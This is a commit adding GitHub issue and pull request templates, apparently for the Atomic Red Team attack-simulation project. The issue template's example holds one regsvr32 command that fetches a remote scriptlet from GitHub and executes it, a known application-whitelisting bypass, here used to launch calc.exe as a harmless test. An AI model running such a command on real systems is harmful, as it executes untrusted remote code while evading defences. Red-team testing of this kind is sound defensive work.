Create issue and pull request templates.

Signed-off-by: Zac Brown <zacbrown@users.noreply.github.com>

.github/issue_template.md

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+# Report
+
+## What did you do?
+
+ℹ Please replace this with what you did.
+e.g. Run `regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll`
+
+## What did you expect to happen?
+
+ℹ Please replace this with what you expected to happen.
+e.g. The atomic test executes and `calc.exe` is launched.
+
+## What happened instead?
+
+ℹ Please replace this with of what happened instead.
+e.g. 💥
+
+## Your Environment
+
+* Which *specific* operating system are you running (e.g. Windows 7 SP1 32-bit)?
+* Did you run the test from an elevated or root prompt?
+* If relevant, which atomic test is this specific to?
+* If relevant, which [execution harness](2) are you attempting to use?
+
+[1]: https://github.com/redcanaryco/atomic-red-team/tree/master/atomics "atomic tests"
+[2]: https://github.com/redcanaryco/atomic-red-team/tree/master/execution-frameworks "execution frameworks"

.github/pull_request_template.md

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+**Details:**
+<!-- Insert details about this change here. Please include as much detail as possible -->
+
+**Testing:**
+<!-- Note any testing done, local or automated here. -->
+
+**Associated Issues:**
+<!-- Please link any issues that this pull request impacts or fixes. -->